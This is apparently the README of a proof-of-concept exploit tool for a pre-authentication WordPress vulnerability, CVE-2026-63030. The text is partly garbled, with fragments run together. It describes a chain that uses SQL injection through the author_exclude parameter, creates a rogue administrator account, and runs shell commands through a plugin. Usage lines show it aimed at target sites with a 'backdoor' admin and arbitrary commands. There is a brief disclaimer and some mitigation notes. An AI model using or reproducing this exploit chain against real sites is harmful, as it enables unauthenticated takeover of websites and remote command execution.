
Proof-of-concept exploit for CVE-2026-63030, a pre-authentication vulnerability in WordPress (versions 6.9.0 through 7.0.1).
Proof-of-concept exploit for CVE-2026-63030, a pre-authentication vulnerability in WordPress (versions 6.9.0 through 7.0.1). It chains:
author_exclude parameterpython3 cve_2026_63030_exp.py --url http://target-wordpress.com/ --command "whoami"
| Argument | Description |
|---|---|
--url | Target WordPress root URL (required) |
--username | Admin username to create (auto-generated if omitted) |
--password | Admin password (auto-generated if omitted) |
--email | Admin email (auto-generated if omitted) |
--command, -c | Command to execute via plugin (default: id) |
--post-id | Specify a published post ID (auto-detected if omitted) |
--timeout | HTTP timeout in seconds (default: 60) |
# Auto-exploit with random admin credentials and run 'id'
python3 exploit.py --url http://192.168.1.100/wordpress/
# Custom admin and command
python3 exploit.py --url https://vuln-site.com/ --username backdoor --password 'H4ckMe!' --command 'ls -la /var/www/html'
author_exclude parameter, exploiting the route confusion to execute a UNION query.shell_exec().This is a proof-of-concept only.
It is intended for:
Do not use against systems you do not own or have explicit written permission to test. The authors assume no liability for misuse.
wp-config.php, the SQLi may fail.DISALLOW_FILE_MODS and DISALLOW_UNFILTERED_HTML in the target's config.